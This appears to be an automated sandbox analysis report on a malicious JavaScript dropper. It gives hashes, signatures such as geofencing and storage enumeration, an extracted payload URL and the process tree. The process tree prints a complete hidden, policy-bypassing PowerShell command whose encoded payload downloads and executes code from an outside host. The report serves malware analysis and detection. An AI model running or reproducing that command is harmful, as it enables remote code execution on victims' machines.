Analysis
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max time kernel
122s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
19/09/2022, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
0be62b1ccacefae5561af9248f0c11db.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
0be62b1ccacefae5561af9248f0c11db.js
Resource
win10v2004-20220812-en
General
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Target
0be62b1ccacefae5561af9248f0c11db.js
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Size
286KB
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MD5
0be62b1ccacefae5561af9248f0c11db
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SHA1
4c34672f7dffc832b45c4ee83f71fc715b33cefa
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SHA256
c2b758e7f617497e86e881bdbe78ea1c399c6316311adf45b4d1ea8d7c74a945
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SHA512
7d0cb616f19871f84c28c5cc8124d7a00b09192193d516b0f3981c3ec1bb3b2f478f8d7bd7570d4327c316325951e2a350bdddfc5e3af21c769ba001ae85d1d5
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SSDEEP
3072:qrjVJySRCL1ddImO3NwSa0wQwRCijyQL7oebGpTLW+B57wtH:qASkdIn9lpQL7oebGRLQH
Malware Config
Extracted
https://freedompublishingbooks.com.au/index/
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 1696 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1696 powershell.exe 1696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1696 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4968 wrote to memory of 5048 4968 wscript.exe 81 PID 4968 wrote to memory of 5048 4968 wscript.exe 81 PID 5048 wrote to memory of 1696 5048 cmd.exe 83 PID 5048 wrote to memory of 1696 5048 cmd.exe 83
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0be62b1ccacefae5561af9248f0c11db.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696
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